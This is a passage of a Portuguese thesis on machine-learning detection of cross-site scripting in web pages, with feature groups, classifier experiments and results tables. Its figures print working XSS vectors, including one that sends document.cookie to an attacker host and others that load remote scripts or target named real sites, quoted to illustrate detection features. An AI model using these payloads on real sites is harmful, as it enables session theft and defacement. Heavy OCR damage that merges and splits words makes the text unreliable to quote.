presenca de esquemas potencialmente insegurosaqueefinidos como esquemas formados por
uma associacao de elementos vulneraveis a exedecé&bddigo malicioso, tais comags HTML,
como por exemplo, script>; propriedades HTML como, por exempkic; EventHandlercomo,

por exemplopnclick objetos DOM como, por exemplDpcument por propriedades DOM como,
por exemplo,cookie e por métodoslavaScript tais como,write ( ). Todos os valores das
caracteristicas deste grupo sao extraidos paratar, \& partir de uma estratégia previamente
combinada de elementos selecionados, que se asms@ciformam esquemas potencialmente

inseguros.

Os esquemas que executam conteudos dinamicos sasa® importantes que provém
funcionalidades e maior interacdo para o usuariotreEanto, muitos desses esquemas sao
frequentemente explorados em atagues XSS. No h@alkdg Yue & Wang [2009], os autores
apresentaram um estudo de caracterizacdo de pratiseguras com 0 uso da linguagem
JavaScriptsem paginasweh Jim et al. [2007], também fazem uso desses esapieomo

argumentos de entrada para uma funcéo que anaisacacao dscripts.
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O W3C Consortiumrelaciona em seu site (http://www.w3c.org) umaesde esquemas que
invocam o interpretadodavascript Por fim, oScripting Mapping Project [Gaucher et al., 2007]
relaciona uma série deventHandlersespecificados pela combinacdo de elementos eutatsib
HTML que podem executarcriptssem o uso déag <script> </script>. Por exemplo, o elemento
HTML img pode executar unscript ao ser especificado com os atributosmousedown,
onmousemove, onmouseout, onmouseover, onmousalligk @u ondblclick. As caracteristicas

desse grupo sao descritas a seguir:

e TagsHTML (url_html_tagse dw_html_tags [Yue & Wang, 2009], [Chiffriertechnik &
Sicherheit, 2005]: corresponde ao numero de occagndetags HTML tais como
<script>, <meta> e dmg>, <frame>, entre outras, que podem ser empregadas em
esquemas considerados potencialmente insegurosmakiags também sao usadas em
associagdo com eventos que permitem a execucdo odeeldos dinamicos e
redirecionamentos de pagina sem a necessidadeoddeuags JavaScript<script>. A
Figura 4.19 demonstra alguns exemplos do ugageHTML em vetores XSS usados em
atagues de redirecionamento (linha 1 ed&facemenpassivo (linha 3 e 4) phishing
(linhas 5 e 6).

Vetor XSS usando alag META
1: <METAHTTP-EQUIV=Refresh CONTENT="3; URL=http://www.

2: attacker.cjb.net">
Vetor XSS usando aragimg
3: http://www.victma.fr/portal/site/victima/recherche? crText="/>
4: </a></>< img src=1.gif onerror =alert(1)>
Vetor XSS usando arag iframe
5: http://softball.gsfc.nasa.gov/CheckLogin.cfm?userNa me=<frame
6: +sr c=http://xss.com/>&password=&Login=Login...

Figura 4.19. Exemplo de vetor XSS usando tags HTML.

* Propriedades HTML (url_html_prop e dw_html_prop [Yue & Wang, 2009],
[Chiffriertechnik & Sicherheit, 2005]: correspond@o numero de ocorréncias de
propriedades HTML, tais comarc, lowsrc, href http-equiy entre outras, que sao
frequentemente usadas em associagaotageHTML, eventos ou métodakavaScriptem
esquemas potencialmente inseguros. A Figura 4.Btbistra 0 uso da propriedade
para direcionar a execucdo de um arquiveagt malicioso “.js”, localizado no dominio
do atacante (linhas 1 e 2), o uso da propriedadsrc (linha 3) ehref (linha 4) para

executar undefacemenpassivo.
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Vetor XSS usando a Propriedaderc
1: <SCRIPT>document.write("<SCRI");</SCRIPT>PT
2: SRG="http://attacker.com/xss.js"></SCRIPT>

Vetor XSS Usando a Propriedadéowsrc
3: <IMG LOWSRE'javascript:alert('’XSS")">

Vetor XSS Usando a URL da Propriedadéref
4: <LINK REL="stylesheet" HREFE"javascript:alert('’XSS');">

Figura 4.20. Exemplo de vetor XSS usando propriedad es HTML.

EventHandlers (url_eventse dw_events [Yue e Wang, 2009], [Gaucher et al., 2007],
[Grossman, 2007], [CVE-1136, 2003]: correspondena@amero de ocorréncias de eventos
HTML (EventHandlery tais comoonclick onmouseovere onload onerror, entre outros,
empregados com frequéncia em associacdo com elesnentatributos HTML em
esquemas potencialmente inseguros. A Figura 4.@bustra o uso deventHandlerem
um vetor XSS usado em ataques que apontam paranimidodo atacante pela acdo do

eventoonmouseovesobre uma imagem.

Vetor XSS usandoEventHandlers
1: <img src="http://www.attacker.cn/img" width="400" h eight=
2: "400" onmouseover ="..." />

Figura 4.21. Exemplo de vetor XSS usando EventHandlers.

Objetos do DOM (url_DOM_objtedw_DOM_objj [Yue & Wang, 2009], [SCGO09, 2009],
[Grossman, 2007], [Chiffriertechnik & SicherheitD5]: corresponde ao numero de
ocorréncias de objetos da estrutura DOM, tais camradows location e document
presentes na URL ou documeni@h comumente manipulados por meio de métodos
JavaScriptem vetores XSS. A Figura 4.22 demonstra a exphorde objetos DOM em um

ataque XSS que exibe a imagem da URL do atacantecookieda vitima.

Vetor XSS Usando Objetos da Estrutura DOM
1: <script> document .write('<img src="http://www.attacker.com/' +
2: document .cookie + "'>");</script>

Figura 4.22. Exemplo de vetor XSS usando objetos da  estrutura DOM.

Propriedades do DOM(url_DOM_propedw_DOM_prop [Yue e Wang, 2009], [SCGO09,
2009], [Grossman, 2007], [Chiffriertechnik & Sicheit, 2005]: corresponde ao numero de
ocorréncias de propriedades, tais cooumkie referrer, url e innerHtmlassociadas a
objetos DOM, que podem ser manipuladas por meimé®dosJavaScriptem ataques
XSS. A Figura 4.23 demonstra a exploragdo da prdpdeinnerHtmlem um vetor XSS

gue injeta uma mensagem no contetdo do documetio
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Vetor XSS com Manipulagéo de Propriedades de ObjesoDOM
1: http://www.copyrightalliance.org/search.php?search= <script>do
2: cument.body. innerHTML ='NeverCopyright';alert('xss");</script>

Figura 4.23. Exemplo de vetor XSS usando propriedad es de objetos DOM.

» TagsJavaScript(url_JS tag¥[Yue e Wang, 2009], [Fette et al., 2007], [Chéftechnik &
Sicherheit, 2005]: corresponde ao numero de ocoaérdetags JavaScript('<script>",
“</script>", "Javascript:") na URL. A presenca dags JavaScriptindica uma URL
potencialmente suspeita. O usotadgsJavaScriptem URLs pode ser observado na Figura
4.24, entre outros exemplos ja demonstrados.

e Métodos de Encode/DecodelavaScript (url_JS meth_encode dw_JS meth_encode
[Yue & Wang, 2009], [SCGO09, 2009], [Grossman, 20QThiffriertechnik & Sicherheit,
2005]: corresponde ao numero de ocorréncias de daoetalavaScript de
codificacdo/decodificacdo ou manipulacaostiéings tais comoescape( ), unescapd ),
encodeUR(), encodeURIComponef), decodeUR( ), charCodeA( ), fromCharCodg )

e split ( ), empregados na ofuscagédo de codigeaScripte manipulacdo dstrings em
atagues de divisdo de n6 e concatenacao, que namipuestrutura DOM. A Figura 4.24
mostra 0 emprego do méetodoescapg ) em um ataque XSS do tipefacemengue
insere uma mensagem no interior do documesto(linhas 2 a 4) e o emprego do método
fromCharCode( ) em um ataque de XSS do tipefacemenpassivo que exibe uma

mensagem na tela do usuario (linhas 7 a 9).

Vetor de XSS Usando Método&ncode/Decode JavaScript

1: /[Exemplo 1

2: http://www.fbi.gov/cgi-bin/outside.cgi?http://www.g oogle.com

3: [</script><script/defer>document.body.innerHTML="xs s'+ unescape ('
4: Yt+'by'+  unescape (' ')+'XSS'</script>

5:

6: [[Exemplo 2

7 http://shopping.uol.com.br/eletronicos/som-portatil /index.html?

8: id=""/><script>alert(String. fromCharCode (72,101,108,108,111,32,8

9: 4,104,101,32,82,97,116))</script>&pagetp=1&cliqueco mpare=1

Figura 4.24. Exemplos de vetores XSS usando métodos  encode/decode JavaScript.

» Métodos JavaScript(url_JS_meth e dw_JS_ mgffue & Wang, 2009], [SCGO09, 2009],
[Grossman, 2007], [Chiffriertechnik & SicherheitD5]: corresponde ao numero de
ocorréncias de métododavaScript tais comoalert ( ), write ( ), writeln ( ),
getElementByld ), getElementsByNamg) e getElementsByTagNan{e), entre outros,

empregados para manipular objetos e propriedadesstiatura DOM. A Figura 4.25
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mostra 0 uso do meétoderite ( ) na manipulacdo do objetdocumentpor meio da

propriedadesrc para a execucao de arquivo malicioso com extehisdo

Vetor de XSS com Emprego de MétododavaScript

1: http://sharethis.com/stream?sharestream-search=/";/ /--
2: </SCRIPT> ">'><SCRIPT>document. write ("<SCRI"); </SCRIPT>PT+
3: SRC="http://vtestv.totalcc.co.cc/xss.js"></SCRIPT>

Figura 4.25. Exemplo de vetor XSS com emprego de mé todos JavaScript.

4.1.5 Etapa de Classificacéo

Por fim, inicia-se a fase de classificacdo. Esépatconsiste em fornecer ao classificador o
vetor de caracteristicas para a obtencdo de umlmpdaditivo. Como resultado, as pagivesb
sao classificadas em uma das classes rotuladagjause sdo instanciaeb pertencentes a classe
XSS ouNon XSS. Os classificadores podem ser selecionadasndega observacédo de alguns
fatores, como por exemplo, a natureza dos dadoseal @esempenho sobre o conjunto de dados
fornecido. O emprego desses métodos possibilitasesbtsmas adquirir conhecimento de forma
automatizada, a partir da observacao, analiseetndtados obtidos e constru¢cdo de um modelo de
predicéo.

O préximo Capitulo apresenta os resultados expataigeobtidos a partir do emprego das

caracteristicas e do método proposto, descritds sapitulo.



Capitulo 5

Experimentos e Analise dos Resultados

Este Capitulo apresenta os detalhes relacionadosnamente utilizado na realizacdo dos
experimentos, as informacdes sobre a base de dsdpsegada e a andlise dos resultados dos

experimentos e desempenho dos classificadoressedos.

5.1. Protocolo Experimental

Para avaliar o método proposto, o desempenho dssifatadores e a relevancia das caracteristicas
selecionadas, foram realizados varios experimetos os classificadoreNaive Bayes SVM e

Arvore de Decisdo empregando todas as 46 (quaeestss) caracteristicas constantes da Tabela
A.1 do Apéndice A, descritas em detalhes nas Setde?.1, 4.1.4.1 e 4.1.4.2 e a base de dados

descrita na Secao 5.1.2.
5.1.1 Ambiente de Experimentagao

Todos os experimentos foram realizados em uma&estde trabalho Intel Core 2 Duo de 2.0 Ghz,
com 4 GB de memoria RAM e disco SATA de 240 GB aeaaenamento sob a plataforma Linux,
distribuicdo Ubuntu 11.10. Para a execucdo dosriaigms de classificacdo e analise do

conhecimento foi utilizado o ambiente Weka [Weka#l @, em sua verséo 4.7.4, para Linux.
5.1.2 Base de Dados

Foi utilizada uma base de dados composta por 84rkednciasveb distribuidas nas classes XSS
(maliciosa) eNon XSS (benigna), obtidas por uonawler focado desenvolvido especificamente
para esta finalidade. A base XSS é formada por4X6aginasweb obtidas da bas&XSSed
(http://www.xssed.com), registradas no periodo3ide€junho de 2008 até 19 de janeiro de 2012. A
base Non XSS é composta por 67.877 paginagb selecionadas da bas€lueWeb09
(http://www.lemur.project.org). Todas as instanciasrespondem a paginaseb de diversos
dominios da Internet, com contetdo na lingua irgles

Considerando o ndo balanceamento das classes, ressstar que ndo existem dados
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estatisticos oficiais sobre a proporcéo real godiginasweb infectadas com vetor XSS e paginas
benignas. Entretanto, observa-se uma propor¢cdoadmags benignas relativamente superior as
paginas infectadas. Desta forma, a base foi diaidiel forma desbalanceada para o treinamento dos

classificadores e realizacdo dos experimentos.
5.1.3 Processo de Decodificacdo de Paginas Web

Para a tarefa de decodificacdo, foram desenvohgdogts para realizar a conversédo de caracteres
ofuscados por codificagcbes Hexadecimal, DecimalfalDdJnicode Base64, caracteres de
referéncia HTML e HTMLName Certamente, algumas combinacfes de caracteredras ndo
sédo abordadas ou ndo podem ser decodificadasrda fawial. No entanto, as codificacbes usadas
neste trabalho foram suficientes para convertersniia 95% das codificagbes alternativas
empregadas em ataques XSS. Esse processo foi iemghho para apoiar a extracdo de

caracteristicas nas duas fases descritas no capittdrior.
5.1.4 Extracdo de Caracteristicas

A extragcdo de caracteristicas € realizada por @emarhenta desenvolvida na linguagem Java, com
base no uso de expressdes regulares que casaroies \epadroes modelados para o problema e
0S armazenam em um vetor apds o término da sedasdale extracdo, submetendo, por fim, o
vetor ao classificador. As expressdes regularesiséexcelente recurso em casamento de padrdes e
sdo amplamente usadas em contetudo de texto [SudkZ0Bp] e em deteccdo de anomalias
[Meyer, 2008].

5.1.5 Classificacdo Automatica de XSS em Paginas Ve

Os classificadores selecionados para esta etagra faaive BayesSVM e Arvore de Deciséo.

O Naive Bayes foi selecionado por ser um métodocldssificacdo que normalmente
apresenta elevada taxa de acerto a um custo carigmahreduzido. Além disso, € amplamente
utilizado em aplicacdeweb [Chakrabarti, 2003] e em deteccdo de anomaliaarj@bla et al.,
2009].

SVM foi selecionado por ser um classificador quemamente apresenta elevada taxa de
acerto em diversos dominios de aplicacdo, alénedeansiderado um algoritmo estavel, com boa
capacidade de generalizacéo e solida fundamentag@imatica [Alpaydin, 2010].

Por fim, o classificador baseado em Arvore de Beci®i selecionado por ser um método
que apresenta estruturas simples, de facil intexgiie e agilidade na construcdo do modelo,
apresentando-se, em geral, como um método efid€htndola et al., 2009].
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5.1.6 Medidas de Desempenho

A métrica empregada para a avaliacdo dos resultailoslidacdo cruzada [Chakrabarti, 2003],
técnica que tem por objetivo a predicdo e a estiaale quao correto um modelo ir4 ser executado
na pratica. Foi empregada a validacdo cruzada ¢bfdelz) particbes para os trés classificadores,
mantendo-se a mesma proporcdo em todos os exp&snenfim de permitir a comparacao dos
resultados obtidos.
Essa estratégia divide o conjunto de treinamentm sabgrupos de igual tamanho, onde

10. A cada iteracam-1 conjuntos sdo combinados para compor o conjunteed®, enquanto que
0 subgrupo restante € usado como base de testepEE®SS0 € repetidovezes, sendo que cada
um dos subgrupos devera ser escolhido como bageste uma vez. No final, a média de
classificacdo obtida nasbases de teste € calculada.

As medidas empregadas para a analise de desemipezmo

1. Taxa de deteccédo = VP/(VP+FN)

2. Taxa de preciséo = (VP+VN) / (VP+VN+FP+FN)

3. Taxa de falso alarme = FP/ (FP+VN)
Onde, conforme mostrado na “Matriz de ConfusaoTalzela 5.1. VN (Verdadeiro Negativo) indica
instancias normais classificadas corretamente; Fis¢ Negativo) indica instancias maliciosas
classificadas como normais; FP (Falso Positivojcadnstancias normais classificadas como
maliciosas; e VP (Verdadeiro Positivo) indica ingias maliciosas classificadas corretamente.

Tabela 5.1. Matriz de confuséo.

Classificagao
Classe Real Ataque (XSS) Normal (Non XSS)
Ataque (XSS) VP FN
Normal (Non XSS) FP VN

5.2 Experimento e Analise dos Resultados

Para obter o melhor resultado sobre o conjuntoadi®sipara cada classificador, foram realizados
treinamentos com os classificadoMsive BayesSVM e Arvore de Decisdo em que os valores dos
principais parametros de cada classificador forpustados até a obtencdo do valor mais adequado.
O classificadoiNaive Bayesfoi treinado em sua configuracédo padréo, tendwista que 0 mesmo

Nao possui parametros ajustaveis manualmente.
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5.2.1 Ajuste de Parametros do Classificador SVM

O classificador SVM, além de diferentes funcéemel| apresenta alguns parametros que podem
ser ajustados durante a fase de treinamento. Deldse 0 mais importante € o parametro de
regularizacdo ou penalizacdo, denominado parar@et® seu valor determina a rigidez do modelo
em relacdo a tolerancia a erros. Quanto maior @ \dEsse parametro, mais rigido e preciso sera o
modelo, porém mais custoso na fase de treinamBotooutro lado, quanto menor esse valor, mais
tolerante a erros e menos rigida sera a margerapdgagao do hiperplano. Dessa forma, durante o
treinamento buscou-se o valor ideal para este maramO treinamento foi avaliado variando o

valor de C nos intervalos @ 1¢, com detalhamento do intervalo 1 a 5.

Cabe ressaltar que os resultados apresentado$esenresomente ao kernel polinomial de
grau 1.0. Outros graus de polindmio e funckesel como RBF, por exemplo, foram testados,
porém, se mostraram proibitivos por necessitarermdigas horas de treinamento. Isso se deve
basicamente a alguns fatores como: a grande qadetide dados de treinamento (84.124
instancias), o uso da técnica de validagdo cruzada 10 (dez) particbes e a configuracdo da
maquina empregada nos experimentos. Por outro ¢adéorme destaca Karatzoglou et al. [2006] e
Gunn [1998], a funca&ernel do tipo linear é a recomendavel para conjuntogatis esparsos,
comuns em problemas de categorizacdo de textogbAld 5.2 mostra o resultado do ajuste de

parametros para o classificador SVM com funcaoedgralinomial de grau 1.0.

Tabela 5.2. Resultados obtidos pelo classificador S~ VM ap06s o ajuste de parametros.

Classificador SVM
Kernel Polinomial Grau 1.0
Parametro de Regularizacdo (C)| Taxa de precisdo | Taxa de deteccaqg Falso alarme
0,01 81,94% 0,06% 0
0,1 95,47% 76,64% 0,0001%
1 98,13% 90,42% 0,0002%
2 98,21% 90,87% 0,0002%
3 98,31% 91,39% 0,0002%
4 98,37% 91,71% 0,0002%
5 98,47% 92,44% 0,0008%
10 98,47% 92,78% 0,0015%
100 98,61% 93,56% 0,0018%
200 98,71% 94,07% 0,0017%
1000 98,73% 94,15% 0,0017%

Ao analisar os resultados apresentados na Tal#&laliserva-se que quanto maior o valor do
parametro C, maior a precisdo do classificador.d@mo lado, o custo de treinamento também é
maior. Ao avaliar o melhor valor de ajuste, conskiique o valor para o parametro C mais
adequado € C=200, pois, ap6s este valor, ndo h&nansignificativo na taxa de precisao e

deteccado que justifique o custo em relacéo ao tetapgreinamento.



68

5.2.2 Ajuste de Parametros do Classificador Basea@wmn Arvore de Decisdo

Um dos parametros ajustaveis em alguns classifieadmaseados em arvore de decisdo, como, por
exemplo, o J.48 [Weka, 2010] que é baseado noitmgniC4.5 [Quinlan, 1993], é o Fator de
Confianca, que determina a poda de nés descendsgtesno de decisao, de forma a estabelecer a

classe das amostras. Esse fator estabelece anganfia base de treinamento e na avaliacdo de erro

[Quinlan, 1993].

Esse parametro atua de forma similar ao fator daljgade no classificador SVM. No caso
do classificador baseado em arvore de decisdota@uamnor o valor do Fator de Confianca, maior
sera gorobabilidade do n6 ser podado em funcdo dos riésess. A reducdo do fator de confianca
pode reduzir o tamanho da arvore e a quantidad@siestatisticamente irrelevantes que poderiam
levar a erros de classificacdo [Quinlan, 1993]aRdater o melhor ajuste, € necessario testar @ Fato
de Confianca a fim de obter o valor mais adequdoksa de dados em analise. A Tabela 5.3 mostra

os resultados dos treinamentos realizados par@au§ator de Confianca do classificador baseado

em Arvore de Decis3o.

Tabela 5.3. Resultados obtidos pelo classificador b aseado em Arvore de Decis&o apos o ajuste de

parametros.
Classificador Arvore de Deciséo
Fator de Confianca Taxa de precisdo | Taxa de deteccdo  Falso alarme

0,10 99,17% 96,52% 0,001%
0,15 99,16% 96,62% 0,002%
0,25 99,15% 96,68% 0,003%
0,50 99,08% 97,08% 0,004%

1 99,02% 97,08% 0,005%

A analise da Tabela 5.3 permite inferir que o meHjaste foi para o Fator de Confianca de
valor igual 0,50, que, a despeito da taxa de pecievemente inferior aos outros indices,

apresentou uma taxa de detecc¢ao superior (97,08%).

Apds o ajuste dos parametros foi possivel realiz@omparacdo entre os resultados dos
classificadoresNaive BayesSVM e Arvore de Decisdo, a fim de determinar assificador que

melhor se ajusta ao conjunto de treinamento.

Analisando o resultado final constante da Tabela &.possivel verificar que os trés
classificadores obtiveram altas taxas de preciBatretanto, essa métrica ndo pode ser avaliada
isoladamente, pois 0 seu resultado expressa onpeatele exemplos classificados corretamente,
independentemente da classe a qual pertence; pogigeesconder o erro de classificacdo da classe

minoritaria.
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Tabela 5.4. Comparagéo dos resultados obtidos pelos classificadores Naive Bayes, SVM e Arvore de
Deciséo apo6s o ajuste de parametros.

Classificador Naive Bayes SVM Arvore de Decisdo
C=200
Parametros Ajustados - Kernel Polinomial Fator de Confianga= 0,5(
Grau do Polinbmio=1.0
Taxa de precisdo 90,99% 98,71% 99,08%
Taxa de deteccdo 61,56% 94,07% 97,08%
Falso alarme 0,019% 0,0017% 0,0043%
Total de instancias 84.124 84.124 84.124

Dessa forma, € necessério avaliar as demais n&gtgdacipalmente a taxa de deteccdo, que
reflete a qualidade de classificacdo da classetiymsimaliciosa). Esta métrica, em especial,
apresenta um impacto relativamente maior que adau da classe negativa (benigna), ou seja, 0

custo de um ataque nao detectado € maior do qaaeimdalso alarme.

Ao analisar os resultados, verifica-se que o desahlmp do classificadoNaive Bayes
apresenta o problema supracitado. Apesar de tedoolat menor taxa de precisdo dentre os
classificadores empregados, este classificadoseptau, em termos absolutos, uma alta taxa de
precisdo (90,99%). Por outro lado, a taxa de dateaptida reflete uma baixa qualidade na
classificagdo da classe positiva (61,56%), o qferenao classificador uma baixa capacidade de
aprendizagem para o conjunto de dados fornecida das razdes para isso se deve ao tipo de
dados processados. Naive Bayesem termos gerais, ndo apresenta bom desemperdnalgdos
continuos, lidando melhor com dados discretos.dCfator que corrobora para o baixo desempenho
desse classificador esta relacionado aos atribgt@sprecisam atender a hipotese de independéncia
condicional. Nesse caso, as caracteristicas baseamia esquemas potencialmente inseguros
contribuem para a baixa taxa de deteccdo do dtzsdilr, pois apresentam certo grau de
dependéncia entre si, em virtude destas caraatadsterem baseadas na identificacdo de esquemas

com alto grau de associagao de elementos HI8IaScripte objetos da estrutura DOM.

O classificador SVM apresentou elevado desempeobtgndo uma taxa de 98,71% de
precisdo e uma taxa de 94,07% de deteccdo. Isstmantpge o classificador conseguiu aprender a

discriminar as duas classes de forma satisfatoria.

Por fim, o classificador baseado em Arvore de §&xifoi o que apresentou o melhor
desempenho, obtendo uma taxa de 99,08% de prexi8a®8% de taxa de deteccdo, além de um
baixo indice de falso alarme (0,004%,), apresemataedcomo um classificador que se ajusta bem
ao problema pesquisado, considerando o conjuntodatbos fornecido. O sucesso desse

classificador, dentre outros fatores, pode estacimmado ao fato das caracteristicas apresentarem
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grande potencial discriminante e ao fato de quesiatisticas obtidas no conjunto de teste se
assemelham as estatisticas do conjunto de treinampais este classificador tem acesso a
probabilidade conjunta dos atributos que a arvonsidera mais relevante.

Os resultados apresentados nestas analises imiordismam o potencial do método proposto
neste trabalho e a relevancia das caracteristithgadas, as quais foram empregadas com
classificadores estaveis e de amplo uso na areprdadizagem de méaquina, o que permite inferir
que a abordagem proposta é aderente e adequada pi@teccdo de XSS em péaginasb no

contexto do conjunto de dados avaliado.
5.2.3 Analise das Caracteristicas Propostas

Para analisar a contribuicdo e o impacto do grupaeatacteristicas propostas sobre o resultado
final da classificagéo, foi realizada uma novaesdd experimentos com o classificador baseado em
Arvore de Decis&o, onde os grupos de caractessiitam testados individualmente e os resultados

obtidos foram comparados aos resultados alcangato® emprego de todas as caracteristicas.

A Tabela 5.5 mostra os resultados obtidos pelggogrindividualmente e pela combinacao de
todas as caracteristicas. Observa-se pelas tatiaglirais, que o melhor resultado para a taxa de
deteccdo foi alcancado pelo grupo de caractersstltmseado em esquemas potencialmente
inseguros (94,97%), o que confirma a presenca deamunto associado de elementos HTML,
objetos da estrutura DOM @avaScript que sado manipulados em vetores de ataques XSS,
confirmando o estudo de Yue & Wang [2009] sobrac@rizacdo de praticas inseguras com o0 uso

da linguagendavaScript

Em seguida, se destaca o grupo baseado em ofusaggdotambém apresentou forte
contribuicdo na classificacao e deteccdo de XSAnehndo uma taxa de deteccdo de 93,39%. A
utilizacdo excessiva ou inadequada de codificagliesnativas representa um forte indicio da
presenca de ofuscacdo em codigo malicioso. O aglsutibtido confirma a relevancia desse tipo de

caracteristicas, que sao abordadas no trabalhikdesh et al. [2009].
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Tabela 5.5. Comparac¢é&o dos resultados obtidos pelo classificador baseado em Arvore de Decis&o
para os grupos de caracteristicas propostos.

Classificador Arvore de Decis&o
Métricas de Desempenho Precisdo | Deteccdg  Falso Alarme
Caracteristicas Baseadas em
Ofuscacao 97,62% | 93,39% 0,002%

(18 caracteristicas)
Caracteristicas Baseadas em

Padrfes Suspeitos 97,98% | 92,38% 0,006%
Caracteristicas Usadas (12 caracteristicas)
Caracteristicas Baseadas em

Esquemas Potencialmente 98,72% | 94.97% 0,003%
Inseguros
(16 caracteristicas)

(46 ca-rr;c(:jti?isticas) 99,08% | 97,08% 0.004%

Por ultimo, o grupo baseado em padrdes suspeit@salfancou uma taxa de deteccdo de
92,38%, apresentou um resultado préximo aos degnai®s, 0 que infere que as caracteristicas de
todos os grupos sao discriminantes e com boa agubcpreditiva para o problema pesquisado.

Apesar dos excelentes resultados alcancados indiviente pelos grupos, estes nao
detectam as diversas possibilidades de ataguegsegpadas pela combinacdo de todas as
caracteristicas propostas, que em conjunto alcamcama taxa de detec¢do de 97,08%, superior as
taxas alcancadas pelos grupos individualmente.

Outro aspecto a ser avaliado é a contribuicdo doduéroposto quanto ao aumento da taxa
de deteccdo. A Tabela 5.6 mostra as taxas de detettidas pela 12 fase de extracdo e ao final da
22 fase, e exibe o ganho percentual obtido comtraducdo das duas fases de extracdo de

caracteristicas.

Tabela 5.6. Ganho percentual obtido pelo método pro  posto em relagéo a 12 fase de extracao.

Classificador Arvore de Decis&o
Métricas de Desempenho Preciséo| Deteccdo| Falso Alarme¢
Caracteristicas Baseadas em

= d 12 Fase Ofuscacao 97,62% 93,39% 0,002%
ase ~e (18 caracteristicas)
Extracao Tod it

12 Fase + 2 2 Fasg odas as caraclensticas 1 g9 0w | 97,08% 0,004%
(46 caracteristicas)

Ganho 1,46% 3,69% -

Analisando os resultados apresentados na Tabeleobdui-se que o método proposto, ao
viabilizar a adicdo de novos grupos de caracteaistapos a etapa de decodificacdo, permite
aumentar a taxa de precisdo em 1,46% e a taxatelecde em 3,69%, contribuindo, dessa forma,
com a melhoria na taxa de deteccdo de XSS em pagaia

Para avaliar a influéncia das caracteristicas salspecto do escopo de analise e extracao
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(URL e documentavel) foram realizados novos experimentos, que sasaptados na Tabela 5.7.

Tabela 5.7. Comparacéo dos resultados obtidos pelo classificador baseado em Arvore de
Decisédo empregando as caracteristicas extraidas da URL e do documento Web.

Classificador Arvore de Decisdo
Métricas de Desempenho Precisao Deteccap Falso Ater
Caracteristicas Extraidas da URL
(26 caracteristicas)
Caracteristicas Extraidas do
Escopo de Analise Documento Web 94,94% 84,45% 0,02%
(20 caracteristicas)
URL + Documento Web
(46 caracteristicas)

98,62% 93,39% 0,002%

99,08% 97,08% 0,004%

Diante dos resultados apresentados na Tabelafgm3sével verificar que as caracteristicas do
escopo de analise da URL alcancaram uma taxa degdet de 93,39%, superior a taxa alcancada
pelas caracteristicas do escopo de analise do @dmtamebque foi de 84,45%. Cabe ressaltar, que
a dimensédo de andlise e informacdes do escopo aomgmtoweb sdo maiores e a quantidade de
caracteristicas empregada foi menor, o que exigesforco maior na tarefa de classificacao entre
documentosvebinfectados com vetor XSS e os demais. Entretantaxa de deteccéo alcancada €
considerada elevada. Além disso, o resultado fomeh a combinacdo dos dois conjuntos de
caracteristicas alcancou a taxa de 97,08% de tagatdccao.

5.3. Comparacéao dos Resultados

Como forma de validar as taxas alcancadas em n@sqmsimentos, nossos resultados foram
comparados com o trabalho de Likarish et al. [2068¢ empregaram caracteristicas baseadas em
ofuscacdo para a deteccdo de codigo malicioso, gmmexemplo, a contabilizacdo de caracteres
Unicode Hexadecimal, quantidade de caracteres preseatssript, entre outras relacionadas no
Capitulo 3. As caracteristicas propostas pelosresiforam empregadas em um novo experimento
com as bases de treinamefiimeweb0% XSSede comparadas com os resultados obtidos com as

caracteristicas propostas neste trabalho, confpade ser observado na Tabela 5.8.

As métricas adotadas pelos autores foram: P®Bit{ve Predictive Powgrequivalente a
equacdo VP/(VP+FN), e NPPNé€gative Predicitve Powgr correspondente a equacgao
VN/(VN+FP), que foram mantidas para fins de comgana

A Tabela 5.8 demonstra que as caracteristicas ptagpaeste trabalho apresentaram melhores
resultados na classificagédo e deteccdo de XSSdquamparadas com as caracteristicas utilizadas
por Likarish et al. [2009] na base de treinamedliceweb0% XSSedAs caracteristicas do grupo
baseado em ofuscacdo deste trabalho obtiveram guepe ganho de 2,10% na taxa de deteccao

(PPP) em relacdo as caracteristicas propostas peftmses, que também sdo baseadas em
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ofuscacao. Entretanto, ao empregar todas as casticees o ganho foi de 5,8%, o que indica que
houve um aumento razoavel na taxa de deteccdo comlusdo dos grupos de caracteristicas
baseadas em padrdes suspeitos e em esquemas gotent2 inseguros, obtidos na 22 fase de

extracdo do metodo proposto.

Tabela 5.8. Comparagéo das taxas obtidas usando o ¢ lassificador baseado em Arvore de Deciséo.

Clueweb09 exXSSed
Base de Dados Clueweb09 exXSSed (Resultados deste trabalho)
Caracteristicas - Grupo de Caracteristicas
Usadas [Likarish et al., 2009] Baseadas em Ofuscacdo Todas
PPP 0,912 0,933 0,970
NPP 0,993 0,997 0,995

Cabe ressaltar que nao se pode inferir conhecimatdgtalhados na comparacdo ou avaliar
gual a melhor abordagem, pois ndo houve a disg@aiffio da base de dados usada pelos autores.
Apesar das caracteristicas serem consideradasod#agbm geral, 0 escopo e objeto de estudo dos
dois trabalhos apresentam peculiaridades proprias bpnpedem uma comparacdo justa,
considerando as técnicas usadas para extracdenraplacao e a natureza do conjunto de dados de

treinamento.

A proxima Secdao realiza os comentarios finais, bnexe analise sobre o trabalho e indica

oportunidades de trabalho futuros.



Capitulo 6

Conclusodes e Trabalhos Futuros

Este trabalho apresentou um método para classificacdeteccdo d€ross-Site Scriptingem
paginasweb baseado na extracdo de caracteristicas relevdmtesntetudo estatico do documento

webe da URL, empregando uma abordagem apoiada emasae aprendizagem de maquina.

Nos ultimos anos, varias abordagens tém sido ptapopara mitigar os ataques XSS,
porém, grande parte dos trabalhos encontradosematlira que utilizam técnicas de aprendizagem
de maquina, usa essas técnicas em uma abordagamagen maior variabilidade de ameacas,
implicando no tratamento de uma grande diversidiedatividades maliciosas meh O OWASP
[2010] categoriza varias dessas ameacas em vidmdsco, tais como, XSS, SQhjection, Buffer
Overflowy LDAP Injection, Drive-by-download entre outras, revelando que abordagens gerais
precisam lidar com um alto grau de complexidadea Eaninuir isso e obter melhores resultados,
este trabalho focou na deteccdo de ataques XSSjtipelo uma investigacao e exploracdo mais
detalhada do problema, empregando conjuntos deatneinto mais representativos, de forma a

promover uma aprendizagem abrangente e elevadacécuo resultado.

O método proposto realiza a analise da URL e doumdentowely que se mostram
complementares na deteccdo de XSS, pois 0s veXB8ssdo injetados nos dois escopos de
andlise. Além disso, o método foi estruturado espast que contemplam duas fases de extracdo de
caracteristicas. O objetivo disto foi aumentar pacalade de detec¢cdo do modelo preditivo pela
agregacdo de conjuntos de caracteristicas encostrath diferentes formatos e padrdes de

codificacoes.

A primeira fase de extracdo objetivou obter asadaristicas relativas aos padrbes
codificados, muito empregados na ofuscacdo de @®digaliciosos. Esse conjunto revelou
caracteristicas importantes na predicdo de atag8& porém, se mostrou limitado as diversas
possibilidades de combinacdes possiveis pelo usccadificacdes disponiveis, além de ocultar

